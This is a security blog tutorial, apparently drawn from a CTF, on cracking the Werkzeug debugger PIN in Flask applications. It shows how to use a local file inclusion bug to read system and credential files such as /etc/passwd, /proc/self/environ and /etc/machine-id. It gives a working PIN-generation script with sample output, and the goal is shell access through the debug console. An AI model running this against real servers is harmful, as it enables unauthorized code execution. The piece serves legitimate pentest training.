Cracking Werkzeug Debugger Console Pin

Learn how to crack the Werkzeug Debugger pin and gain access to the console in Python-based Flask web applications with this educational blog post.

Cracking Werkzeug Debugger Console Pin
Photo by Christian Lendl / Unsplash

If you're a penetration tester or have experience with offensive security activities like CTFs, you've probably come across the Werkzeug Debugger. This debugger is commonly seen with the Python-based Flask web application framework. However, you may have been discouraged when you tried to access it and were met with a prompt for a pin number. In this post, we'll explore how you can crack the debugger pin and gain access to the console.

First things first, if you don't have a local file inclusion (LFI) vulnerability, low-privileged access, or a similar way to get some information from the system, you likely won't have the required information to crack the debugger pin. In that case, this post may not be of much help. However, if you do have access to this information, this post will help you get access to the console.

There are many other posts on this subject out there, but most of them lack some key information that can be critical to generating the correct pin. We'll cover the information you need to generate the correct pin, step-by-step.

First we need to understand how the pin is generated. There are a few slight differences depending on version but the general flow is as follows.

  1. Take the username of the user running the Flask application.
  2. Take the module name of the Flask application.
  3. Take the application name of the Flask application.
  4. Take the path to the Flask app.py file.
  5. Take the output of uuid.getnode(), which is the MAC address of the network interface hosting the application, in decimal form.
  6. Take the ID from /etc/machine-id.
  7. On newer systems, combine the ID from /etc/machine-id with the last part of the value from /proc/<pid>/cgroup, split on the / character.
  8. Concatenate all of the above values into a single string.
  9. Take the MD5 hash or SHA1 hash of the concatenated string.
  10. Encode the resulting digest as a 9-digit decimal number, with hyphens inserted every 3 digits.

Many blog posts on this subject lack updates to include step 7, and some only utilize MD5 in step 9. In my experience, newer systems tend to use SHA1 as the hash algorithm and always perform step 7. Another common issue is the assumption that the module name is always flask.app and the application name is Flask. While this may be true for some parts of the application, additional layers often have their own pins. For example, the application in this post is from a previous CTF and was run using Gunicorn. Its entrypoint is wsgi.py, which kicks off the Flask application, resulting in the generation of three different Werkzeug pins. When cracking the application, it is essential to try each of these pins to find the correct one for the console you are trying to access. To replicate this with your target application, it may be helpful to extract some of the main files so you can locally determine these values.

The first file we have is our entrypoint wsgi.py which is called by Gunicorn.

from secretsauce.app import app, main, enable_debug

enable_debug()

if __name__ == "__main__":
    main()

So there isn't much to see here; it imports the objects app, main, and enable_debug from the file secretsauce\app.py and calls main(). If we take a look at the app.py file inside the secretsauce directory we see the following contents.

import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
#from secretsauce.infrastructure.view_modifiers import response
#from secretsauce.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY'] = 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'


def register_blueprints():
#    from secretsauce.views import home_views
#    from secretsauce.views import vault_views
#    from secretsauce.views import account_views
    
#    app.register_blueprint(home_views.blueprint)
#    app.register_blueprint(vault_views.blueprint)
#    app.register_blueprint(account_views.blueprint)
    pass

def setup_db():
#    db_session.global_init(app.config['SQL_URI'])
    pass


def configure_login_manager():
    login_manager = LoginManager()
    login_manager.login_view = 'account.login_get'
    login_manager.init_app(app)

#    from secretsauce.data.user import User

#    @login_manager.user_loader
#    def load_user(user_id):
#        from secretsauce.services.user_service import get_user_by_id
#        return get_user_by_id(user_id)


def configure_template_options():
    jinja_partials.register_extensions(app)
    helpers = {
        'len': len,
        'str': str,
        'type': type,
    }
    app.jinja_env.globals.update(**helpers)


def load_config():
#    config_path = os.getenv("CONFIG_PATH")
#    with open(config_path, 'r') as f:
#        for k, v in json.load(f).items():
#            app.config[k] = v
    pass

def configure():
    load_config()
    register_blueprints()
    configure_login_manager()
    setup_db()
    configure_template_options()


def enable_debug():
    from werkzeug.debug import DebuggedApplication
    app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
    app.debug = True


def main():
    enable_debug()
    configure()
    app.run(debug=True)


def dev():
    configure()
    app.run(port=1234)


if __name__ == '__main__':
    main()
else:
    configure()

The first thing you notice if you look closely is that there are a lot of imports and code sections that I have commented out. The reason for this is because I didn't have that code and it isn't relevant for the task at hand to extract it as we don't need a functional application. You may also notice that we have the applications secret key which can be used to attack the application in a different way that we will not be covering in this post but will be covered by a future post. Now if you are familiar enough with Python web applications you may be able to figure out that the 3 layers we will see here are

Module Name      Application Name
-------------------------------------
flask.app      - wsgi_app
werkzeug.debug - DebuggedApplication
flask.app      - Flask

But if you didn't know that this is how you can figure it out. The first thing you will need to do is create a virtual environment in your code folder (unless you want to modify your base Python werkzeug debugger code) by running the following command in the root of your application to create a new virutal environment and activate it.

python3 -m venv venv
source venv/bin/activate

Once you have the virtual environment activated you will need to install whatever packages are required for your application using the python3 -m pip install <package_name> command. Then you will want to edit the Werkzeug debugger code that generates the pin to output the values of interest. You can edit it by opening venv/lib/python3.11/site-packages/werkzeug/debug/__init__.py in your editor of choice. Then you'll want to scroll down to the line that constructs the private_bits and add the print statements shown below.

# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]

### ADD THESE LINES ###
print(f'public_bits: {probably_public_bits}')
print(f'private_bits: {private_bits}')

Then run your flask application using python3 and you should see all of the values used to create the pin such as shown below (the below values are an example only and have been manually modified so they aren't actually correct and are for example only)

└─$ python3 wsgi.py                                                 
Flask
 * Serving Flask app 'secretsauce.app'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
public_bits: ['ben', 'flask.app', 'wsgi_app', '/blog_post/venv/lib/python3.11/site-packages/flask/app.py']
private_bits: ['123619778273236', b'3f5a30f3517742838237a8d6fcd0185cvte-spawn-f79f9f73-cd97-42d0-8289-ea0e91bb9575.scope']
 * Debugger PIN: 675-248-728
 * Debugger is active!
public_bits: ['ben', 'werkzeug.debug', 'DebuggedApplication', '/blog_post/venv/lib/python3.11/site-packages/werkzeug/debug/__init__.py']
private_bits: ['123619778273236', b'3f5a30f3517742838237a8d6fcd0185cvte-spawn-f79f9f73-cd97-42d0-8289-ea0e91bb9575.scope']
 * Debugger PIN: 767-949-473
Flask
 * Debugger is active!
public_bits: ['ben', 'flask.app', 'Flask', '/blog_post/venv/lib/python3.11/site-packages/flask/app.py']
private_bits: ['123619778273236', b'3f5a30f3517742838237a8d6fcd0185cvte-spawn-f79f9f73-cd97-42d0-8289-ea0e91bb9575.scope']
 * Debugger PIN: 765-338-091

The values that are of interest here are the second and third values in public_bits which will be the same between your machine and the target machine. You'll want to make a list of these pairs.

Then to find the name of the user that the application is running under you can try to use your LFI to retrieve it from the /proc/ filesystem by looking at /proc/<pid>/environ (or if your LFI is in the application you are targeting you can use /proc/self/environ instead) which may have the $USER variable defined like USER=www-data or /proc/self/status/ which will have a value like this

...
Uid:	33	33	33	33
Gid:	33	33	33	33
...
partial output of /proc/self/status

which shows the uid and gid which can then be matched up with the contents of /etc/passwd

...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
partial output of /etc/passwd

Once you have the public values you need you will also need to find the private values which are the mac_address in decimal format, machine_id and most likely the cgroup value.

You can get the mac address many ways but assuming you have an LFI to exploit you can usually find it by reading the contents of /proc/net/arp which will have output like this

IP address     Flags       HW address            Mask     Device
10.12.2.4      0x2         00:50:56:b9:44:e3     *        eth0
output of /proc/net/arp

and the bit of interest for us is the device name eth0 once we have that we can look at /sys/class/net/eth0/address to find the mac address

00:55:23:45:67:89
output of /sys/class/net/eth0/address

Which we can then convert to decimal using python

# simply remove the ':' seperators
>>> print(0x005523456789)
365663971209
example conversion of mac from hex to decimal

So the value for the first private_bits value is 365663971209.

Getting the second piece of information we need to first find the machine-id which we can find by looking at /etc/machine-id which will return a value like this ed5b159560f54721827644bc9b220d01 and on newer systems we also need the cgroup value for the running application which can be found by looking at /proc/<pid>/cgroup which if you are unsure of the pid but have LFI in the running Flask application you can simply look at /proc/self/cgroup which will return a string which depending on a number of things may be a simple string like shown below or may be a long string of text. The important part is it will have / separators in it and we want the last portion of the string after the final / for example 234:342:/system.slice/secretsauce.service we want the value secretsauce.service which gives us a full value of ed5b159560f54721827644bc9b220d01secretsauce.service

Once you have this information you can start to generate possible pin values. Because you may be unsure or guessing at some of the values such as the user running the process, the machine_id, or uuid I have provided a script below based off of some of the publicly available versions which is setup to allow multiple values for any of the fields of interest.

import hashlib
import itertools
from itertools import chain

def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.md5()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
    h = hashlib.sha1()
    crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
    probably_public_bits = [
            username,
            modname,
            appname,
            flaskapp_path ]
    private_bits = [
            node_uuid,
            machine_id ]

    h = hasher
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    print(rv)

if __name__ == '__main__':

    usernames = ['ben']
    modnames = ['flask.app', 'werkzeug.debug']
    appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
    flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
    nodeuuids = ['365663971209']
    machineids = ['ed5b159560f54721827644bc9b220d01secretsauce.service']

    # Generate all possible combinations of values
    combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)

    # Iterate over the combinations and call the crack() function for each one
    for combo in combinations:
        username, modname, appname, flaskpath, nodeuuid, machineid = combo
        print('==========================================================================')
        crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
        print(f'{combo}')
        print('==========================================================================')
example script for generating possible pin numbers for Werkzeug debugger

This script will produce an output such as the one below.

==========================================================================
968-608-615
('ben', 'flask.app', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py', '365663971209', 'ed5b159560f54721827644bc9b220d01secretsauce.service')
==========================================================================
==========================================================================
546-922-557
('ben', 'flask.app', 'DebuggedApplication', '/app/venv/lib/python3.10/site-packages/flask/app.py', '365663971209', 'ed5b159560f54721827644bc9b220d01secretsauce.service')
==========================================================================
==========================================================================
352-003-061
('ben', 'flask.app', 'Flask', '/app/venv/lib/python3.10/site-packages/flask/app.py', '365663971209', 'ed5b159560f54721827644bc9b220d01secretsauce.service')
==========================================================================
==========================================================================
103-089-997
('ben', 'werkzeug.debug', 'wsgi_app', '/app/venv/lib/python3.10/site-packages/flask/app.py', '365663971209', 'ed5b159560f54721827644bc9b220d01secretsauce.service')
==========================================================================
==========================================================================
300-717-203
('ben', 'werkzeug.debug', 'DebuggedApplication', '/app/venv/lib/python3.10/site-packages/flask/app.py', '365663971209', 'ed5b159560f54721827644bc9b220d01secretsauce.service')
==========================================================================
==========================================================================
211-911-758
('ben', 'werkzeug.debug', 'Flask', '/app/venv/lib/python3.10/site-packages/flask/app.py', '365663971209', 'ed5b159560f54721827644bc9b220d01secretsauce.service')
==========================================================================
example output from pin generation script

You can then use these generated pins to access the debug console and the next thing you know you'll be poppin shells!


DISCLAIMER: The information provided in this material is for educational purposes only. It is intended to be used by authorized and approved individuals for penetration testing and security assessment purposes. Any unauthorized use or misuse of this material is strictly prohibited. The author and publisher of this material will not be held responsible for any illegal or unethical activities performed using this information. It is the responsibility of the reader to ensure that any actions taken are within the limits of the law and with the explicit consent of the owner of the system being tested.